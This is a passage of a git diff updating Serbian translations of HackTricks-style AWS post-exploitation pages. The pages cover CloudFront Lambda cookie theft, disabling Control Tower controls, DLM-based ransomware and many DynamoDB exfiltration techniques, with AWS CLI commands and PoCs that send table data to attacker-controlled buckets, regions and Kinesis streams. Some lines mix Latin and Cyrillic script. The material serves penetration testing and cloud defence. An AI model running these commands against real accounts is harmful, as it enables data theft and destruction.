+Ovaj [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) predlaže nekoliko različitih scenarija gde bi se **Lambda** mogla dodati (ili izmeniti ako se već koristi) u **komunikaciju kroz CloudFront** sa ciljem **krađe** korisničkih informacija (kao što je session **cookie**) i **izmene** **response** (ubacivanje zlonamernog JS skripta).
+
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+
+- **Kreirajte** zlonamernu **function**.
+- **Povežite** je sa CloudFront distribution.
+- Podesite **event type to "Viewer Response"**.
+
+Pristupanjem **response**-u možete ukrasti korisnički **cookie** i ubaciti zlonamerni JS.
+
+#### scenario 2: MitM where CloudFront is already using a lambda function
+
+- **Izmenite kod** lambda **function**-a da ukradete osetljive informacije
+
+You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md

@@ -1,18 +0,0 @@
-# AWS - Kontrolna Kula Post Eksploatacija
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Kontrolna Kula
-
-{{#ref}}
-../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
-{{#endref}}
-
-### Omogućite / Onemogućite Kontrole
-
-Da biste dodatno iskoristili nalog, možda ćete morati da onemogućite/omogućite kontrole Kontrolne Kule:
-```bash
-aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md

@@ -0,0 +1,18 @@
+# AWS - Control Tower Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Control Tower
+
+{{#ref}}
+../../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md
+{{#endref}}
+
+### Omogućavanje / onemogućavanje kontrola
+
+Da biste dalje izvršili exploit nad nalogom, možda ćete morati onemogućiti/omogućiti Control Tower controls:
+```bash
+aws controltower disable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+aws controltower enable-control --control-identifier <arn_control_id> --target-identifier <arn_account>
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md

@@ -1,91 +0,0 @@
-# AWS - DLM Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Data Lifecycle Manger (DLM)
-
-### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
-
-Napad ransomware-a može se izvršiti šifrovanjem što više EBS volumena kao što je moguće, a zatim brisanjem trenutnih EC2 instanci, EBS volumena i snimaka. Da bi se automatizovala ova zla aktivnost, može se koristiti Amazon DLM, šifrujući snimke sa KMS ključem iz drugog AWS naloga i prebacujući šifrovane snimke na drugi nalog. Alternativno, mogu prebaciti snimke bez šifrovanja na nalog koji upravljaju, a zatim ih tamo šifrovati. Iako nije jednostavno direktno šifrovati postojeće EBS volumene ili snimke, to je moguće učiniti kreiranjem novog volumena ili snimka.
-
-Prvo, koristiće se komanda za prikupljanje informacija o volumenima, kao što su ID instance, ID volumena, status šifrovanja, status povezivanja i tip volumena.
-
-`aws ec2 describe-volumes`
-
-Drugo, kreiraće se politika životnog ciklusa. Ova komanda koristi DLM API za postavljanje politike životnog ciklusa koja automatski pravi dnevne snimke određenih volumena u određenom vremenu. Takođe primenjuje specifične oznake na snimke i kopira oznake sa volumena na snimke. Datoteka policyDetails.json uključuje detalje politike životnog ciklusa, kao što su ciljne oznake, raspored, ARN opcionalnog KMS ključa za šifrovanje i ciljni nalog za deljenje snimaka, koji će biti zabeleženi u CloudTrail logovima žrtve.
-```bash
-aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
-```
-Šablon za dokument politike može se videti ovde:
-```bash
-{
-"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
-"ResourceTypes": [
-"VOLUME"
-],
-"TargetTags": [
-{
-"Key": "ExampleKey",
-"Value": "ExampleValue"
-}
-],
-"Schedules": [
-{
-"Name": "DailySnapshots",
-"CopyTags": true,
-"TagsToAdd": [
-{
-"Key": "SnapshotCreator",
-"Value": "DLM"
-}
-],
-"VariableTags": [
-{
-"Key": "CostCenter",
-"Value": "Finance"
-}
-],
-"CreateRule": {
-"Interval": 24,
-"IntervalUnit": "HOURS",
-"Times": [
-"03:00"
-]
-},
-"RetainRule": {
-"Count": 14
-},
-"FastRestoreRule": {
-"Count": 2,
-"Interval": 12,
-"IntervalUnit": "HOURS"
-},
-"CrossRegionCopyRules": [
-{
-"TargetRegion": "us-west-2",
-"Encrypted": true,
-"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
-"CopyTags": true,
-"RetainRule": {
-"Interval": 1,
-"IntervalUnit": "DAYS"
-}
-}
-],
-"ShareRules": [
-{
-"TargetAccounts": [
-"123456789012"
-],
-"UnshareInterval": 30,
-"UnshareIntervalUnit": "DAYS"
-}
-]
-}
-],
-"Parameters": {
-"ExcludeBootVolume": false
-}
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation/README.md

@@ -0,0 +1,91 @@
+# AWS - DLM Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Data Lifecycle Manger (DLM)
+
+### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy`
+
+Ransomware napad se može izvesti enkriptovanjem što većeg broja EBS volumes, a zatim brisanjem trenutnih EC2 instances, EBS volumes i snapshots. Da bi se ova maliciozna aktivnost automatizovala, može se koristiti Amazon DLM, šifrujući snapshots KMS key-om iz drugog AWS account-a i prebacujući enkriptovane snapshots na drugi account. Alternativno, mogu prebaciti snapshots bez enkripcije na account kojim upravljaju i potom ih tamo enkriptovati. Iako nije direktno jednostavno enkriptovati postojeće EBS volumes ili snapshots, moguće je to postići kreiranjem novog volume-a ili snapshot-a.
+
+Prvo će se koristiti komanda za prikupljanje informacija o volumima, kao što su instance ID, volume ID, encryption status, attachment status i volume type.
+
+`aws ec2 describe-volumes`
+
+Zatim će se kreirati lifecycle policy. Ova komanda koristi DLM API da postavi lifecycle policy koji automatski pravi dnevne snapshots navedenih volumena u određeno vreme. Takođe primenjuje specifične tags na snapshots i kopira tags sa volumena na snapshots. Datoteka policyDetails.json sadrži detalje lifecycle policy-ja, kao što su target tags, schedule, ARN opcionalnog KMS key-a za enkripciju i target account za deljenje snapshot-ova, što će biti zabeleženo u CloudTrail logovima žrtve.
+```bash
+aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
+```
+Predložak dokumenta politike može se videti ovde:
+```bash
+{
+"PolicyType": "EBS_SNAPSHOT_MANAGEMENT",
+"ResourceTypes": [
+"VOLUME"
+],
+"TargetTags": [
+{
+"Key": "ExampleKey",
+"Value": "ExampleValue"
+}
+],
+"Schedules": [
+{
+"Name": "DailySnapshots",
+"CopyTags": true,
+"TagsToAdd": [
+{
+"Key": "SnapshotCreator",
+"Value": "DLM"
+}
+],
+"VariableTags": [
+{
+"Key": "CostCenter",
+"Value": "Finance"
+}
+],
+"CreateRule": {
+"Interval": 24,
+"IntervalUnit": "HOURS",
+"Times": [
+"03:00"
+]
+},
+"RetainRule": {
+"Count": 14
+},
+"FastRestoreRule": {
+"Count": 2,
+"Interval": 12,
+"IntervalUnit": "HOURS"
+},
+"CrossRegionCopyRules": [
+{
+"TargetRegion": "us-west-2",
+"Encrypted": true,
+"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id",
+"CopyTags": true,
+"RetainRule": {
+"Interval": 1,
+"IntervalUnit": "DAYS"
+}
+}
+],
+"ShareRules": [
+{
+"TargetAccounts": [
+"123456789012"
+],
+"UnshareInterval": 30,
+"UnshareIntervalUnit": "DAYS"
+}
+]
+}
+],
+"Parameters": {
+"ExcludeBootVolume": false
+}
+}
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md

@@ -1,18 +1,18 @@
 # AWS - DynamoDB Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## DynamoDB
 
 Za više informacija pogledajte:
 
 {{#ref}}
-../aws-services/aws-dynamodb-enum.md
+../../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
 ### `dynamodb:BatchGetItem`
 
-Napadač sa ovom dozvolom moći će da **dobije stavke iz tabela po primarnom ključu** (ne možete jednostavno zatražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (možete ih dobiti iz metapodataka tabele pomoću `describe-table`).
+Napadač koji ima ove dozvole će moći da **dohvati stavke iz tabela po primarnom ključu** (ne možete jednostavno zatražiti sve podatke iz tabele). To znači da morate znati primarne ključeve (možete ih dobiti preuzimanjem metapodataka tabele (`describe-table`).
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Mogući uticaj:** Indirektni privesc pronalaženjem osetljivih informacija u tabeli
+**Potential Impact:** Indirektan privesc pronalaženjem osetljivih informacija u tabeli
 
 ### `dynamodb:GetItem`
 
-**Slično prethodnim dozvolama** ova omogućava potencijalnom napadaču da pročita vrednosti iz samo jedne tabele ako poseduje primarni ključ unosa koji treba dohvatiti:
+**Slično prethodnim dozvolama**, ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo 1 tabele ako je poznat primarni ključ unosa koji treba da se preuzme:
 ```json
 aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key  file:///tmp/a.json
 }
 }
 ```
-Sa ovom dozvolom takođe je moguće koristiti **`transact-get-items`** metodu kao:
+Sa ovom dozvolom moguće je takođe koristiti metodu **`transact-get-items`** na sledeći начин:
 ```json
 aws dynamodb transact-get-items \
 --transact-items file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
 }
 ]
 ```
-**Potential Impact:** Indirect privesc pronalaženjem osetljivih informacija u tabeli
+**Potential Impact:** Indirektno privesc pronalaženjem osetljivih informacija u tabeli
 
 ### `dynamodb:Query`
 
-**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo jedne tabele, pod uslovom da poseduje primarni ključ zapisa koji želi da preuzme. Dozvoljava upotrebu [podskupa poređenja](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali jedino poređenje dozvoljeno sa primarnim ključem (koji mora biti prisutan) je "EQ", tako da ne možete koristiti poređenje da dobijete celu bazu podataka u jednom zahtevu.
+**Slično prethodnim dozvolama** ova dozvola omogućava potencijalnom napadaču da pročita vrednosti iz samo jedne tabele ako je poznat primarni ključ zapisa koji treba dobiti. Dozvoljava korišćenje [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), ali je jedino poređenje dozvoljeno sa primarnim ključem (koji mora biti prisutan) "EQ", tako da ne možete koristiti poređenje da biste u jednom zahtevu dobili celu DB.
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -107,35 +107,35 @@ aws dynamodb query \
 {{#endtab }}
 {{#endtabs }}
 
-**Potential Impact:** Indirect privesc pronalaženjem osetljivih informacija u tabeli
+**Potencijalni uticaj:** Indirektan privesc pronalaženjem osetljivih informacija u tabeli
 
 ### `dynamodb:Scan`
 
-Možete iskoristiti ovu dozvolu da lako **dump celu tabelu**.
+Možete koristiti ovu dozvolu da **dump the entire table easily**.
 ```bash
 aws dynamodb scan --table-name <t_name> #Get data inside the table
 ```
-**Potencijalni uticaj:** Neizravan privesc pronalaženjem osetljivih informacija u tabeli
+**Potencijalni uticaj:** Indirect privesc pronalaženjem osetljivih informacija u tabeli
 
 ### `dynamodb:PartiQLSelect`
 
-Možete koristiti ovu dozvolu da lako **dump** celu tabelu.
+Možete koristiti ovu dozvolu da **lako dump-ujete celu tabelu**.
 ```bash
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Ovo dopuštenje takođe omogućava izvršavanje `batch-execute-statement` kao:
+Ovo dopuštenje takođe omogućava izvršavanje `batch-execute-statement`, na primer:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
 ```
-ali morate navesti primarni ključ sa vrednošću, pa to nije toliko korisno.
+međutim, morate specificirati primarni ključ sa vrednošću, pa to nije naročito korisno.
 
-**Potencijalni uticaj:** Indirektan privesc pronalaženjem osetljivih informacija u tabeli
+**Potencijalni uticaj:** Indirektni privesc kroz pronalaženje osetljivih informacija u tabeli
 
 ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)`
 
-Ovo ovlašćenje će omogućiti attacker-u da **izveze celu tabelu u S3 bucket** po svom izboru:
+Ovo dopuštenje će napadaču omogućiti da **izveze celu tabelu u S3 bucket po svom izboru**:
 ```bash
 aws dynamodb export-table-to-point-in-time \
 --table-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable \
@@ -144,29 +144,30 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Imajte na umu da, da bi ovo radilo, tabela mora imati omogućen point-in-time-recovery; možete proveriti da li tabela to ima pomoću:
+Obratite pažnju: da bi ovo funkcionisalo, tabela mora imati uključen point-in-time-recovery. Možete proveriti da li tabela to ima pomoću:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
 ```
-Ako nije omogućen, moraćete да га **omogućite** и за то вам је потребна **`dynamodb:ExportTableToPointInTime`** дозвола:
+Ako nije omogućeno, moraćete **to omogućiti**, a za to vam je potrebna dozvola **`dynamodb:ExportTableToPointInTime`**:
 ```bash
 aws dynamodb update-continuous-backups \
 --table-name <value> \
 --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true
 ```
-**Potencijalni uticaj:** Indirektni privesc pronalaženjem osetljivih informacija u tabeli
+**Potencijalni uticaj:** Indirect privesc pronalaženjem osetljivih informacija u tabeli
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-Sa ovim dozvolama, napadač bi mogao da **kreira novu tabelu iz backup-a** (ili čak napravi backup da bi ga potom vratio u drugu tabelu). Zatim, uz neophodne dozvole, mogao bi da pregleda **informacije** iz backup-ova koje **više ne bi bile u proizvodnoj** tabeli.
+
+Sa ovim dozvolama, napadač bi mogao da **kreira novu tabelu iz backup-a** (ili čak napravi backup pa ga potom vrati u drugu tabelu). Zatim, uz neophodne dozvole, on bi mogao da pregleda **informacije** iz backup-ova koje **više ne bi bile u produkcionoj** tabeli.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
 --target-table-name <new-table-name> \
 --region <region>
 ```
-**Potencijalni uticaj:** Neizravno privesc pronalaženjem osetljivih informacija u rezervnoj kopiji tabele
+**Potencijalni uticaj:** Indirect privesc pronalaženjem osetljivih informacija u rezervnoj kopiji tabele
 
 ### `dynamodb:PutItem`
 
@@ -202,11 +203,11 @@ aws dynamodb put-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potencijalni uticaj:** Moguća eksploatacija dodatnih ranjivosti/zaobilaženja omogućavanjem dodavanja/izmene podataka u DynamoDB tabeli
+**Potencijalni uticaj:** Iskorišćavanje dodatnih ranjivosti/zaobilaženja omogućeno mogućnošću dodavanja ili izmene podataka u DynamoDB tabeli
 
 ### `dynamodb:UpdateItem`
 
-Ovo dopuštenje omogućava korisnicima da **izmene postojeće atribute stavke ili dodaju nove atribute stavci**. Ne **zamenjuje** celu stavku; ažurira samo navedene atribute. Ako primarni ključ ne postoji u tabeli, operacija će **kreirati novu stavku** sa navedenim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje.
+Ova dozvola omogućava korisnicima da **izmene postojeće atribute stavke ili dodaju nove atribute stavci**. Ona **ne zamenjuje** celu stavku; samo ažurira navedene atribute. Ako primarni ključ ne postoji u tabeli, operacija će **kreirati novu stavku** sa navedenim primarnim ključem i postaviti atribute navedene u izrazu za ažuriranje.
 
 {{#tabs }}
 {{#tab name="XSS Example" }}
@@ -242,7 +243,7 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Potencijalni uticaj:** Iskorišćavanje daljih ranjivosti/bypasses omogućavajući dodavanje/izmenu podataka u DynamoDB tabeli
+**Potencijalni uticaj:** Eksploatacija daljih vulnerabilities/bypasses omogućavajući dodavanje/izmenu podataka u DynamoDB tabeli
 
 ### `dynamodb:DeleteTable`
 
@@ -256,35 +257,35 @@ aws dynamodb delete-table \
 
 ### `dynamodb:DeleteBackup`
 
-Napadač sa ovom dozvolom može **izbrisati rezervnu kopiju DynamoDB-a, što može dovesti do gubitka podataka u slučaju scenarija oporavka od katastrofe**.
+Napadač sa ovom dozvolom može **izbrisati DynamoDB rezervnu kopiju, potencijalno prouzrokovati gubitak podataka u scenariju oporavka od katastrofe**.
 ```bash
 aws dynamodb delete-backup \
 --backup-arn arn:aws:dynamodb:<region>:<account-id>:table/TargetTable/backup/BACKUP_ID \
 --region <region>
 ```
-**Potencijalni uticaj**: Gubitak podataka i nemogućnost oporavka iz backup-a tokom scenarija oporavka od katastrofe.
+**Potencijalni uticaj**: Gubitak podataka i nemogućnost oporavka iz rezervne kopije tokom scenarija oporavka od katastrofe.
 
 ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords`
 
 > [!NOTE]
-> TODO: Testirati da li ovo zaista radi
+> TODO: Testirati da li ovo zapravo radi
 
-Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da počne sa streamovanjem promena, i zatim pristupiti streamu kako bi pratio promene na tabeli u realnom vremenu**. Ovo omogućava napadaču da nadgleda i exfiltrate promene podataka, što može dovesti do data leakage.
+Napadač sa ovim dozvolama može **omogućiti stream na DynamoDB tabeli, ažurirati tabelu da počne da strimuje promene, i potom pristupiti streamu kako bi nadgledao promene u tabeli u realnom vremenu**. Ovo omogućava napadaču da nadgleda i exfiltrate data changes, što potencijalno može dovesti do data leakage.
 
-1. Enable a stream on a DynamoDB table:
+1. Omogućiti stream na DynamoDB tabeli:
 ```bash
 aws dynamodb update-table \
 --table-name TargetTable \
 --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \
 --region <region>
 ```
-2. Opišite stream da biste dobili ARN i druge detalje:
+2. Opišite stream kako biste dobili ARN i ostale detalje:
 ```bash
 aws dynamodb describe-stream \
 --table-name TargetTable \
 --region <region>
 ```
-3. Dobijte shard iterator koristeći stream ARN:
+3. Nabavite shard iterator koristeći stream ARN:
 ```bash
 aws dynamodbstreams get-shard-iterator \
 --stream-arn <stream_arn> \
@@ -292,22 +293,22 @@ aws dynamodbstreams get-shard-iterator \
 --shard-iterator-type LATEST \
 --region <region>
 ```
-4. Koristite shard iterator da pristupite i exfiltrate podatke iz stream-a:
+4. Koristite shard iterator da pristupite i exfiltrate podatke iz streama:
 ```bash
 aws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Potencijalni uticaj**: Nadzor u realnom vremenu i data leakage promena u DynamoDB tabeli.
+**Potential impact**: Praćenje u realnom vremenu i curenje podataka o izmenama u DynamoDB tabeli.
 
-### Čitanje stavki putem `dynamodb:UpdateItem` i `ReturnValues=ALL_OLD`
+### Čitanje stavki pomoću `dynamodb:UpdateItem` i `ReturnValues=ALL_OLD`
 
-Napadač koji ima samo `dynamodb:UpdateItem` na tabeli može čitati stavke bez uobičajenih read permisija (`GetItem`/`Query`/`Scan`) tako što će izvršiti bezopasnu izmenu i zatražiti `--return-values ALL_OLD`. DynamoDB će vratiti punu pre-izmenjenu sliku stavke u polju `Attributes` odgovora (ovo ne troši RCUs).
+Napadač koji ima samo `dynamodb:UpdateItem` dozvolu na tabeli može pročitati stavke bez uobičajenih read dozvola (`GetItem`/`Query`/`Scan`) tako što će izvršiti bezopasnu izmenu i zatražiti `--return-values ALL_OLD`. DynamoDB će vratiti kompletnu pre-izmene sliku stavke u polju `Attributes` odgovora (ovo ne troši RCU).
 
-- Minimalne dozvole: `dynamodb:UpdateItem` na ciljanoj tabeli/ključu.
-- Preduslovi: Morate znati primarni ključ stavke.
+- Minimalne dozvole: `dynamodb:UpdateItem` na ciljanoj tabeli/ključa.
+- Preduslovi: morate znati primarni ključ stavke.
 
-Primer (dodaje bezopasni atribut i iznosi prethodnu stavku u odgovoru):
+Primer (dodaje bezopasni atribut i exfiltrates prethodnu stavku u odgovoru):
 ```bash
 aws dynamodb update-item \
 --table-name <TargetTable> \
@@ -318,14 +319,14 @@ aws dynamodb update-item \
 --return-values ALL_OLD \
 --region <region>
 ```
-CLI odgovor će uključiti blok `Attributes` koji sadrži kompletnu prethodnu stavku (sve atribute), efikasno obezbeđujući read primitive iz write-only access.
+CLI odgovor će uključivati blok `Attributes` koji sadrži kompletan prethodni item (sve atribute), čime se efektivno obezbeđuje primitiv za čitanje iz pristupa koji je samo za pisanje.
 
-**Potencijalni uticaj:** Čitanje proizvoljnih stavki iz tabele sa samo write dozvolama, omogućavajući eksfiltraciju osetljivih podataka kada su poznati primarni ključevi.
+**Potencijalni uticaj:** Čitanje proizvoljnih stavki iz tabele samo sa dozvolama za pisanje, omogućavajući eksfiltraciju osetljivih podataka kada su poznati primarni ključevi.
 
 
 ### `dynamodb:UpdateTable (replica-updates)` | `dynamodb:CreateTableReplica`
 
-Nenametljiva eksfiltracija dodavanjem nove regionalne replike u DynamoDB Global Table (verzija 2019.11.21). Ako principal može da doda regionalnu repliku, cela tabela se replicira u Region koji izabere napadač, iz kojeg napadač može pročitati sve stavke.
+Tiha eksfiltracija dodavanjem nove regionalne replike u DynamoDB Global Table (verzija 2019.11.21). Ako principal može dodati regionalnu repliku, cela tabela će biti replicirana u Region po izboru napadača, iz kojeg napadač može pročitati sve stavke.
 
 {{#tabs }}
 {{#tab name="PoC (default DynamoDB-managed KMS)" }}
@@ -354,13 +355,13 @@ aws dynamodb update-table \
 {{#endtab }}
 {{#endtabs }}
 
-Dozvole: `dynamodb:UpdateTable` (sa `replica-updates`) ili `dynamodb:CreateTableReplica` na ciljnoj tabeli. Ako se CMK koristi u replici, mogu biti potrebne KMS dozvole za taj ključ.
+Dozvole: `dynamodb:UpdateTable` (sa `replica-updates`) ili `dynamodb:CreateTableReplica` na ciljnoj tabeli. Ako se u repliki koristi CMK, mogu biti potrebne KMS dozvole za taj ključ.
 
-Potencijalni uticaj: replikacija cele tabele u region koji kontroliše napadač, što dovodi do prikrivenog iznošenja podataka.
+Mogući uticaj: Replikacija cele tabele u regiju pod kontrolom napadača što vodi do prikrivene eksfiltracije podataka.
 
-### `dynamodb:TransactWriteItems` (čitanje putem neuspelog uslova + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
+### `dynamodb:TransactWriteItems` (read via failed condition + `ReturnValuesOnConditionCheckFailure=ALL_OLD`)
 
-Napadač sa privilegijama za transakcijsko pisanje može izneti kompletne atribute postojeće stavke izvršavanjem `Update` unutar `TransactWriteItems` koji namerno izaziva neuspeh `ConditionExpression`, dok je podešen `ReturnValuesOnConditionCheckFailure=ALL_OLD`. U slučaju neuspeha, DynamoDB uključuje prethodne atribute u razloge otkazivanja transakcije, efikasno pretvarajući pristup samo za pisanje u pristup za čitanje ciljanih ključeva.
+Napadač sa privilegijama za transakcione write operacije može eksfiltrirati kompletne atribute postojeće stavke izvršavajući `Update` unutar `TransactWriteItems` koji namerno izaziva neuspeh `ConditionExpression` dok je postavljeno `ReturnValuesOnConditionCheckFailure=ALL_OLD`. U slučaju neuspeha, DynamoDB uključuje prethodne atribute u razloge otkazivanja transakcije, efektivno pretvarajući pristup samo za pisanje u pristup za čitanje ciljnih ključeva.
 
 {{#tabs }}
 {{#tab name="PoC (AWS CLI >= supports cancellation reasons)" }}
@@ -409,21 +410,21 @@ print(e.response['CancellationReasons'][0]['Item'])
 {{#endtab }}
 {{#endtabs }}
 
-Permissions: `dynamodb:TransactWriteItems` on the target table (and the underlying item). No read permissions are required.
+Dozvole: `dynamodb:TransactWriteItems` on the target table (and the underlying item). Nisu potrebne dozvole za čitanje.
 
-Potential Impact: Čitanje proizvoljnih stavki (prema primarnom ključu) iz tabele koristeći samo transakcione privilegije pisanja putem vraćenih razloga za otkazivanje.
+Mogući uticaj: Pročitajte proizvoljne stavke (po primarnom ključu) iz tabele koristeći samo transakcione privilegije za upis preko vraćenih razloga za otkazivanje.
 
 
-### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` on GSI
+### `dynamodb:UpdateTable` + `dynamodb:UpdateItem` + `dynamodb:Query` na GSI
 
-Zaobiđite restrikcije čitanja kreiranjem Globalnog sekundarnog indeksa (GSI) sa `ProjectionType=ALL` na atributu sa niskom entropijom, postavite taj atribut na konstantnu vrednost za sve stavke, zatim `Query`-ujte indeks da biste povratili pune stavke. Ovo radi čak i ako su `Query`/`Scan` na osnovnoj tabeli odbijeni, sve dok možete da izvršite query na ARN indeksa.
+Zaobiđite ograničenja čitanja kreiranjem Global Secondary Index (GSI) sa `ProjectionType=ALL` na atributu male entropije, postavite taj atribut na konstantnu vrednost za stavke, zatim `Query` indeks da biste dohvatili kompletne stavke. Ovo radi čak i ako su `Query`/`Scan` na osnovnoj tabeli odbijeni, pod uslovom da možete da query-ujete ARN indeksa.
 
-- Minimum permissions:
+- Minimalne dozvole:
 - `dynamodb:UpdateTable` on the target table (da kreirate GSI sa `ProjectionType=ALL`).
 - `dynamodb:UpdateItem` on the target table keys (da postavite indeksirani atribut na svakoj stavci).
-- `dynamodb:Query` on the index resource ARN (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
+- `dynamodb:Query` na ARN resursa indeksa (`arn:aws:dynamodb:<region>:<account-id>:table/<TableName>/index/<IndexName>`).
 
-Steps (PoC in us-east-1):
+Koraci (PoC u us-east-1):
 ```bash
 # 1) Create table and seed items (without the future GSI attribute)
 aws dynamodb create-table --table-name HTXIdx \
@@ -461,17 +462,17 @@ aws dynamodb query --table-name HTXIdx --index-name ExfilIndex \
 --expression-attribute-values '{":v":{"S":"dump"}}' \
 --region us-east-1
 ```
-**Potencijalni uticaj:** Full table exfiltration upitivanjem novostvorenog GSI koji projicira sve atribute, čak i kada su base table read APIs uskraćeni.
+**Potencijalni uticaj:** Potpuna eksfiltracija tabele upitima novokreiranog GSI koji projicira sve atribute, čak i kada su API-ji za čitanje osnovne tabele odbijeni.
 
 
-### `dynamodb:EnableKinesisStreamingDestination` (Kontinuirana exfiltration putem Kinesis Data Streams)
+### `dynamodb:EnableKinesisStreamingDestination` (Kontinuirana eksfiltracija putem Kinesis Data Streams)
 
-Zloupotreba DynamoDB Kinesis streaming destinations za kontinuiranu exfiltration promena iz tabele u attacker-controlled Kinesis Data Stream. Nakon što je omogućeno, svaki INSERT/MODIFY/REMOVE event se prosleđuje gotovo u realnom vremenu u stream bez potrebe za read permissions na tabeli.
+Zloupotreba DynamoDB Kinesis streaming destinacija za kontinuiranu eksfiltraciju promena iz tabele u Kinesis Data Stream pod kontrolom napadača. Kada se omogući, svaki INSERT/MODIFY/REMOVE događaj se približno u realnom vremenu prosleđuje u stream bez potrebe za dozvolama za čitanje tabele.
 
-Minimum permissions (napadač):
-- `dynamodb:EnableKinesisStreamingDestination` on the target table
+Minimalne dozvole (za napadača):
+- `dynamodb:EnableKinesisStreamingDestination` na ciljnoj tabeli
 - Opcionalno `dynamodb:DescribeKinesisStreamingDestination`/`dynamodb:DescribeTable` za praćenje statusa
-- Dozvole za čitanje na Kinesis stream-u u vlasništvu napadača za konzumiranje zapisa: `kinesis:ListShards`, `kinesis:GetShardIterator`, `kinesis:GetRecords`
+- Dozvole za čitanje na Kinesis streamu u vlasništvu napadača za konzumiranje zapisa: `kinesis:*`
 
 <details>
 <summary>PoC (us-east-1)</summary>
@@ -530,8 +531,8 @@ aws dynamodb delete-table --table-name HTXKStream --region us-east-1 || true
 ```
 </details>
 
-**Potencijalni uticaj:** Kontinuirana, gotovo u realnom vremenu exfiltration promena u tabeli na attacker-controlled Kinesis stream bez direktnih read operations na tabeli.
+**Potential Impact:** Kontinuirano, gotovo u realnom vremenu exfiltration promena u tabeli na Kinesis stream koji kontroliše napadač bez direktnih operacija čitanja na tabeli.
 
 
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -4,7 +4,7 @@
 
 ## EC2 & VPC
 
-Za više informacija proverite:
+Za više informacija pogledajte:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,10 +12,10 @@ Za više informacija proverite:
 
